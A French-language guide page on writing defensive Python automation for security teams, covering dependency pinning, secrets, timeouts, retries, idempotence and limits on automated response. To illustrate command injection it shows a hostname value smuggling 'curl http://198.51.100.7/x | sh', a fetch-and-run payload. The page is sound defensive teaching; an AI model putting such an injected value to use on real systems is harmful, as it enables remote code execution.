Python pour l'automatisation défensive, usages et garde-fous
- Accueil
- Développement, applications & chaîne logicielle
- Python pour l'automatisation défensive, usages et garde-fous
Python pour l’automatisation défensive, usages et garde-fous
Section intitulée « Python pour l’automatisation défensive, usages et garde-fous »Python est la colle des équipes de défense : il trie des journaux, interroge l’API (Application Programming Interface) d’un SIEM (Security Information and Event Management) ou d’un EDR (Endpoint Detection and Response), enrichit des indicateurs et déclenche des actions de confinement. Le revers tient en une phrase : un script de défense détient des jetons que peu d’humains possèdent et lit, par construction, des données écrites par l’attaquant. Cette page dit quoi automatiser, quoi laisser à un humain, et ce que le script doit respecter pour ne pas devenir le chemin d’accès le plus court vers l’outillage de sécurité.
Dans un immeuble, le gardien ne peut pas relire chaque soir des milliers de pages du cahier des entrées. Un assistant infatigable le fait à sa place, repère ce qui cloche et prépare le dossier. Encore faut-il que cet assistant ne se promène pas avec le passe de toutes les portes accroché à la ceinture, bien en vue.
→ Lire l’explication complète de la marmotte
Ce que Python apporte à une équipe de défense
Section intitulée « Ce que Python apporte à une équipe de défense »Le langage n’a rien de magique. Il a trois qualités qui comptent ici : une bibliothèque standard qui couvre déjà le réseau, les formats de données et les expressions régulières, un écosystème où presque chaque produit de sécurité publie un client, et une lisibilité qui permet à un analyste de relire le script d’un collègue sans y passer la nuit. Pour le reste de la famille, voir l’histoire et les usages des langages.
Les usages se rangent en six familles, qui n’ont ni le même privilège ni le même risque :
| Usage | Privilège du compte | Risque propre |
|---|---|---|
| Tri et corrélation de journaux | Lecture sur la source | Entrée écrite par l’attaquant, analysée par le script |
| Requêtes vers le SIEM ou l’EDR | Lecture par API | Jeton trop large, quota épuisé |
| Enrichissement d’indicateurs | Sortie réseau vers des sources tierces | Fuite de l’indicateur, requête vers une cible choisie par l’attaquant |
| Collecte d’inventaire | Lecture sur le parc | Compte à large portée, cible de choix |
| Contrôles de conformité | Lecture de configuration | Faux « conforme » quand le contrôle échoue en silence |
| Réponse automatisée | Écriture : isolement, blocage, révocation | Déni de service auto-infligé |
Le compromis central se lit dans la dernière colonne. On gagne du temps de traitement et de la régularité : le script enrichit la millième alerte comme la première. On paie par un nouvel actif à privilèges, écrit vite, rarement relu, souvent lancé depuis un poste d’analyste. La position défendue ici : Python sert de colle et de logique de décision, pas de moteur de calcul. Ce que la plateforme fait nativement (agrégation dans le SIEM, règle de détection dans l’EDR) y reste. Réécrire un moteur de corrélation dans une boucle for fait un très bon projet de week-end et une très mauvaise architecture.
Automatiser ou non : la décision avant d’écrire le script
Section intitulée « Automatiser ou non : la décision avant d’écrire le script »La question n’est pas « peut-on l’automatiser ? » (la réponse est presque toujours oui) mais « que se passe-t-il quand l’automate se trompe à trois heures du matin ? ». Trois critères tranchent : l’action modifie-t-elle un système, est-elle réversible, et quelle confiance accorder au signal qui la déclenche.
Le schéma ci-dessous se lit de haut en bas : chaque question élimine une catégorie d’actions, et seule la dernière branche autorise une exécution sans validation humaine.
La recommandation : automatiser toute la lecture sans état d’âme, automatiser le confinement réversible avec trois garde-fous (liste d’exclusion des actifs critiques, plafond d’actions par période, procédure d’annulation testée), et laisser l’irréversible à un humain. Un script qui isole un poste par erreur coûte un appel au support. Un script qui isole les contrôleurs de domaine parce qu’une règle visait trop large offre à l’attaquant un déni de service qu’il n’a même pas eu à préparer.
Prérequis : interpréteur, environnement virtuel et dépendances épinglées
Section intitulée « Prérequis : interpréteur, environnement virtuel et dépendances épinglées »Avant la première ligne, trois choses doivent exister.
Un interpréteur maintenu. Chaque version mineure de Python reçoit cinq ans de correctifs, les dernières années en sécurité seulement. La 3.9 est sortie du support en octobre 2025, la 3.10 en sort en octobre 2026. Un script de défense qui tourne sur un interpréteur abandonné est un classique du genre : l’outil de conformité qui échouerait à son propre contrôle.
Un environnement virtuel par outil. python -m venv crée un répertoire de paquets isolé du système. Installer avec sudo pip dans l’interpréteur du système mélange les dépendances du script avec celles de la distribution et exécute avec les droits de root le code d’installation de chaque paquet.
Des dépendances épinglées et vérifiées. Épingler une version (paquet==1.2.3) ne suffit pas : il faut aussi figer l’empreinte du fichier. Avec un fichier d’exigences qui porte des empreintes, pip install --require-hashes -r requirements.txt refuse tout paquet dont le condensé diffère et tout paquet non listé, dépendances transitives comprises. Le sujet des dépendances héritées est traité dans le risque des dépendances transitives, celui des montées de version dans la confiance accordée aux mises à jour automatiques.
Deux pièges méritent d’être nommés. D’abord, installer un paquet, c’est exécuter du code : une distribution source lance son script de construction à l’installation, avec les droits de celui qui tape la commande. L’option --only-binary :all: impose les paquets précompilés, qui ne lancent rien à l’installation, mais un paquet précompilé peut toujours déposer un fichier .pth interprété à chaque démarrage de Python. Ensuite, déclarer un index privé en complément de PyPI (Python Package Index) avec --extra-index-url ouvre la confusion de dépendances : pip retient la version la plus haute, quel que soit l’index qui la propose. Un nom de paquet interne publié en public avec un numéro de version supérieur l’emporte. La parade : un seul index (--index-url) pointant vers un dépôt interne qui fait proxy et filtre.
Un audit régulier des versions installées contre les vulnérabilités publiées (un outil comme pip-audit le fait) complète le dispositif, de même qu’un inventaire des composants généré depuis le fichier de verrouillage.
Surface d’attaque d’un script de défense
Section intitulée « Surface d’attaque d’un script de défense »Le point que les scripts écrits dans l’urgence oublient : une ligne de journal, un nom de fichier, un champ d’en-tête de courriel, un nom d’hôte dans une alerte sont des données que l’attaquant a pu choisir. Le script de tri est donc un analyseur exposé à une entrée hostile, exécuté avec un jeton d’administration de l’outillage de sécurité. Vu comme ça, l’enthousiasme retombe un peu, et c’est très bien.
| Attaque | Mécanisme | Contre-mesure |
|---|---|---|
| Injection de commande | Entrée concaténée dans une commande passée à un shell | Liste d’arguments sans shell, validation par liste blanche |
| Exécution par désérialisation | pickle reconstruit des objets en appelant du code choisi par l’auteur du fichier | JSON (JavaScript Object Notation) pour tout ce qui transite ; jamais pickle hors données produites localement |
| Exécution par évaluation | eval ou exec sur une chaîne externe | Analyseur dédié ; ast.literal_eval pour des littéraux |
| Chargement YAML (YAML Ain’t Markup Language) non sûr | Un chargeur complet instancie des objets arbitraires | Chargeur sûr (yaml.safe_load avec PyYAML) |
| Interception du trafic | Vérification TLS (Transport Layer Security) désactivée | Vérification toujours active, magasin d’autorités interne déclaré |
| Requête vers une cible choisie par l’attaquant | Le script télécharge l’URL (Uniform Resource Locator) contenue dans l’alerte | Sources de réputation passives, sortie réseau filtrée |
| Écrasement de fichiers | Archive dont les membres sortent du répertoire d’extraction | Filtre d’extraction (filter="data" du module tarfile), répertoire jetable |
| Blocage par expression régulière | Retour arrière catastrophique sur une ligne forgée ; le module re n’a pas de délai | Motifs sans quantificateurs imbriqués, taille de ligne bornée |
| Falsification de journal | Sauts de ligne injectés dans un champ recopié tel quel | Journalisation structurée, champs échappés |
Deux de ces lignes méritent un développement, parce qu’elles reviennent sans cesse.
Le shell. subprocess.run avec shell=True confie la chaîne à un interpréteur de commandes, qui honore ;, |, $( ) et les accents graves. Un nom d’hôte valant srv01; curl http://198.51.100.7/x | sh exécute alors les deux commandes. Retirer le shell ne suffit pas tout à fait : une valeur commençant par un tiret reste interprétée comme une option par le programme appelé. D’où la validation en amont.
import reimport subprocess
# Liste blanche : premier caractère alphanumérique, donc aucune option injectable.HOTE_VALIDE = re.compile(r"[A-Za-z0-9][A-Za-z0-9.-]{0,252}")
def resoudre(hote: str) -> str: if not HOTE_VALIDE.fullmatch(hote): raise ValueError("nom d'hôte refusé") # À proscrire : subprocess.run(f"getent hosts {hote}", shell=True) resultat = subprocess.run( ["getent", "hosts", hote], # liste d'arguments, aucun shell capture_output=True, text=True, timeout=5, # un sous-processus bloqué ne bloque pas la chaîne check=True, # un code retour non nul lève une exception ) return resultat.stdoutLa vérification TLS. verify=False arrive toujours de la même façon : l’API interne présente un certificat émis par une autorité privée, l’appel échoue, quelqu’un trouve le paramètre qui fait disparaître l’erreur. Le jeton d’administration de l’EDR voyage alors vers quiconque sait se placer sur le chemin. La correction consiste à déclarer le magasin d’autorités interne (paramètre verify pointant vers le fichier, ou variable REQUESTS_CA_BUNDLE pour la bibliothèque requests), jamais à couper le contrôle. Les fondamentaux sont dans la rubrique PKI et TLS.
L’enrichissement actif a un coût supplémentaire que le tableau ne dit pas : aller chercher soi-même la ressource pointée par un indicateur prévient son propriétaire que l’enquête a commencé, et lui donne l’adresse IP (Internet Protocol) de sortie de l’équipe de défense. La désérialisation et les requêtes forgées côté serveur sont détaillées dans SSRF et désérialisation.
Secrets hors du code et moindre privilège du compte d’exécution
Section intitulée « Secrets hors du code et moindre privilège du compte d’exécution »Un jeton dans le script finit dans l’historique Git, et l’historique Git ne s’oublie pas ; la page prévention des secrets dans le code source couvre la détection et la purge. Reste à choisir où mettre le secret.
La variable d’environnement est le minimum acceptable, avec ses limites : elle est lisible dans /proc/<pid>/environ par le même utilisateur et par root, et tout sous-processus en hérite. Le gestionnaire de secrets fait mieux quand il délivre des jetons à durée courte, obtenus à l’exécution par une identité de machine. De quoi dépend le choix ? De la capacité à révoquer : si retirer l’accès du script demande de modifier un fichier sur un serveur, la variable d’environnement n’est qu’un secret en dur avec une étape de plus.
Le moindre privilège se décline en règles vérifiables :
- un compte de service par outil, jamais le compte nominatif de l’analyste, jamais root ;
- deux identités distinctes pour lire et pour agir : la collecte d’inventaire n’a aucune raison de pouvoir isoler un poste ;
- un jeton d’API limité aux opérations appelées, avec une date d’expiration ;
- aucun secret dans les journaux : la journalisation de débogage des couches HTTP (Hypertext Transfer Protocol) imprime les en-têtes, jeton d’autorisation compris.
Les comptes de service ont une fâcheuse tendance à survivre à leur raison d’être : voir les identités jamais révoquées.
Exemple : chaîne de traitement d’une alerte avec délais, reprises et idempotence
Section intitulée « Exemple : chaîne de traitement d’une alerte avec délais, reprises et idempotence »Le schéma décrit le traitement d’une alerte de bout en bout. À y lire en priorité : la consultation du registre d’état avant toute action, et les trois conditions cumulées qui précèdent la demande d’isolement.
Trois propriétés font tenir cette chaîne en production.
Les délais. La bibliothèque requests n’applique aucun délai par défaut : un service qui accepte la connexion et ne répond jamais suspend le script indéfiniment, sans erreur ni alerte. Chaque appel sortant porte donc un délai explicite.
import ipaddressimport osimport requests
def reputation(session: requests.Session, valeur: str) -> dict: ip = ipaddress.ip_address(valeur) # lève ValueError si l'entrée n'est pas une adresse reponse = session.get( f"https://ti.example.org/v1/ip/{ip}", headers={"Authorization": f"Bearer {os.environ['TI_API_TOKEN']}"}, # secret injecté à l'exécution timeout=(3, 10), # secondes : connexion, puis lecture ) # verify garde sa valeur par défaut : True reponse.raise_for_status() # un 401 ou un 500 n'est pas un verdict return reponse.json()Les reprises. On réessaie les erreurs transitoires (délai dépassé, code 429, codes 502 à 504), avec une attente exponentielle et une part d’aléa pour ne pas marteler un service qui se relève, en respectant l’en-tête Retry-After quand il est fourni, et avec un nombre de tentatives borné. On ne réessaie jamais à l’aveugle une action non idempotente. Et une source injoignable ne vaut pas « indicateur sain » : l’échec bascule vers le ticket humain.
L’idempotence. Relancer le script après un plantage ne doit rien produire de plus. Cela suppose une clé stable (identifiant d’alerte et type d’action), un registre d’état consulté avant d’agir, et une vérification de l’état réel de la cible : demander l’isolement d’un hôte déjà isolé doit être un non-événement. Un verrou empêche deux exécutions concurrentes de traiter la même alerte. Le plafond d’actions joue le rôle de disjoncteur : au-delà du seuil, le script s’arrête et alerte, parce qu’une règle qui veut isoler cinquante postes en dix minutes a soit raison (et il faut des humains), soit tort (et il faut des humains).
Un mode simulation, qui journalise l’action sans l’exécuter, permet de valider chaque nouvelle règle sur du trafic réel avant de lui confier quoi que ce soit.
Ce que l’automatisation en Python ne garantit pas
Section intitulée « Ce que l’automatisation en Python ne garantit pas »Un script ne détecte rien de plus que les règles qui l’alimentent : il accélère le traitement, il n’améliore pas le signal. Automatiser un flux de faux positifs produit des faux positifs plus vite, avec un joli tableau de bord. Le réglage du signal lui-même est traité dans le calibrage des alertes d’un SIEM.
Il ne garantit pas non plus :
- l’intégrité de ce qu’il lit. Un journal modifié sur l’hôte compromis est enrichi avec le même sérieux qu’un vrai. L’intégrité vient de la collecte centralisée et de son transport.
- la transaction. Entre la vérification d’état et l’action, la cible peut changer. Entre l’action et son inscription au registre, le script peut mourir. L’idempotence limite les dégâts, elle ne fournit pas l’atomicité.
- la stabilité des API. Un champ renommé par l’éditeur fait échouer l’extraction ; si l’erreur est avalée par un
excepttrop large, le contrôle de conformité renvoie « rien à signaler » pour toujours. - l’isolation. Un environnement virtuel sépare des paquets, pas des privilèges. Le cloisonnement vient du compte d’exécution, du conteneur ou de la machine.
- la gouvernance. Qui a le droit de modifier la liste d’exclusion, qui valide une nouvelle action automatique : ces réponses ne sont pas dans le code.
Conditions d’exploitation : rotation, supervision, sauvegarde et reprise
Section intitulée « Conditions d’exploitation : rotation, supervision, sauvegarde et reprise »Un script de défense se traite comme un service, pas comme un fichier dans un répertoire personnel. Celui qui se croit provisoire n’y échappe pas : les outils jetables ont une espérance de vie que bien des services leur envient.
Cycle de vie du code. Dépôt Git, revue obligatoire, déploiement par un pipeline d’intégration et de déploiement continus plutôt que par copie manuelle. La revue de code orientée sécurité cherche ici quatre choses : shell=True, pickle, eval, verify=False. Les quatre se trouvent avec une recherche de texte, ce qui retire toute excuse.
Rotation des secrets. Le jeton doit pouvoir être remplacé sans toucher au code ni redéployer. Un secret dont la rotation exige une intervention manuelle sur un serveur ne sera pas renouvelé.
Supervision. Le script qui plante se voit. Celui qui ne se lance plus ne se voit pas. Il faut donc un signal de vie émis à chaque exécution réussie, et une alerte sur son absence. Chaque exécution journalise, au format structuré et vers le SIEM : l’identifiant d’alerte, la décision, la raison, la version du script, l’identité utilisée. Le code retour est non nul dès qu’une étape échoue.
Sauvegarde et reprise. Trois éléments sont à sauvegarder : le registre d’état (sans lui, la reprise rejoue tout), la liste d’exclusion et le fichier de verrouillage des dépendances. La reprise consiste à relancer, ce que l’idempotence rend sûr. Chaque action automatique a sa procédure d’annulation documentée et testée, et un interrupteur général coupe toutes les actions d’écriture sans arrêter la collecte.
Faut-il une plateforme SOAR plutôt que des scripts Python ?
Section intitulée « Faut-il une plateforme SOAR plutôt que des scripts Python ? »Une plateforme SOAR (Security Orchestration, Automation and Response) apporte la gestion des secrets, la file d’attente, les reprises et la trace d’audit déjà construites. Le choix dépend d’une question : combien de chaînes à maintenir, et par combien de personnes ? Quelques scripts bien tenus par une petite équipe coûtent moins cher qu’une plateforme. Au-delà, on finit par réécrire la plateforme, en moins bien.
Les variables d’environnement suffisent-elles pour les secrets ?
Section intitulée « Les variables d’environnement suffisent-elles pour les secrets ? »Pour un script en lecture seule avec un jeton à portée réduite, oui. Dès que le script peut modifier un système, un gestionnaire de secrets délivrant des jetons à durée courte devient la référence, parce qu’il rend la révocation immédiate et traçable.
Peut-on lancer ces scripts depuis le poste d’un analyste ?
Section intitulée « Peut-on lancer ces scripts depuis le poste d’un analyste ? »Pour de l’exploration en lecture, oui. Pour toute action d’écriture, non : le poste de travail est une cible à part entière, comme le détaille la page sur la sécurité des postes de développeurs, et un jeton de réponse n’a rien à y faire.
🐝 Ce qui arrive si on s’en passe
Section intitulée « 🐝 Ce qui arrive si on s’en passe »Sans automatisation, l’enrichissement dépend de la charge du moment : sous afflux, les alertes sont fermées sans contexte, et le délai de confinement devient celui de la disponibilité humaine. Les contrôles de conformité se réduisent à un échantillonnage, donc à une opinion. Avec une automatisation sans garde-fous, c’est pire : le jeton en dur donne à quiconque lit le dépôt les droits de l’outillage de sécurité, une ligne de journal forgée s’exécute sur la machine d’analyse, une dépendance non figée change de contenu entre deux installations, et un script relancé après un échec rejoue ses actions. Faute de journal de décision, impossible ensuite de dire qui a isolé quoi, ni pourquoi.
🦫 Explication de la marmotte 🍫
Section intitulée « 🦫 Explication de la marmotte 🍫 »Une équipe de défense reçoit sans arrêt des signalements venus de ses outils de surveillance. Un programme écrit en Python les lit à sa place. Pour chaque signalement, il vérifie d’abord s’il l’a déjà traité, puis il interroge d’autres services pour savoir si l’adresse ou le fichier signalé est connu comme dangereux. Selon la réponse, il prépare un dossier pour un humain ou il agit lui-même, par exemple en coupant une machine du réseau. Chaque décision est écrite dans un journal.
Pour faire cela, le programme détient des mots de passe qui ouvrent les outils de sécurité. C’est là que tout se joue. Ces mots de passe ne sont jamais écrits dans le programme : ils lui sont remis au démarrage. Les morceaux de code empruntés à d’autres sont figés à une version précise et contrôlés avant installation. Tout ce que le programme lit est traité comme suspect, car un attaquant peut y avoir glissé un texte piégé qui se ferait exécuter. Chaque appel à un service a une durée limite ; en cas d’échec, le programme réessaie quelques fois, puis s’arrête et prévient. Il peut être relancé sans refaire deux fois la même action. S’il dépasse un nombre fixé d’actions, il se bloque et laisse un humain décider.
À lire aussi
- Écrire des scripts Bash système fiables et sûrs en productionBash et scripting système, ou comment écrire des scripts d'administration qui tiennent en production sans devenir une faille (mode strict, guillemets, injection, secrets, verrous, environnement d'exécution).
- JavaScript et SQL côté web, ce qu'il faut savoir des deux langagesCe qu'il faut connaître du modèle d'exécution de JavaScript et de SQL pour lire un code web, relire une revue de sécurité ou interpréter un rapport de scan.
- Attaque par désérialisation YAML non sécuriséeComprendre et prévenir l'exécution de code provoquée par les tags de construction d'objets dans des parseurs YAML permissifs.
- SIEM open source coûte-t-il vraiment moins cherLe coût réel d’un SIEM open source se trouve dans la normalisation des journaux, l’entretien des détections et les compétences d’exploitation, rarement dans sa licence.
Pages voisines
La citent
- Écrire des scripts Bash système fiables et sûrs en production
- JavaScript et SQL côté web, ce qu'il faut savoir des deux langages
Python pour l'automatisation défensive, usages et garde-fous
Elle cite
- Lien dans les deux sens :Écrire un outil jetable proprement, sans faille ni dette
- Langages informatiques : histoire, inventeurs et usages
- Comment bloquer les requêtes côté serveur et la désérialisation
- Comment revoir le code de sécurité au-delà du linter
- Comptes de service Git à révoquer réellement
- Maîtriser le risque des dépendances transitives (npm, pip, Maven, Go)
- Prévenir les secrets codés en dur dans Git
- SBOM pour inventorier les composants réellement exécutés
- Sécuriser les mises à jour automatiques de dépendances et semver
- Sécuriser les postes développeurs avec secrets de production
: les deux pages se citent l’une l’autre.
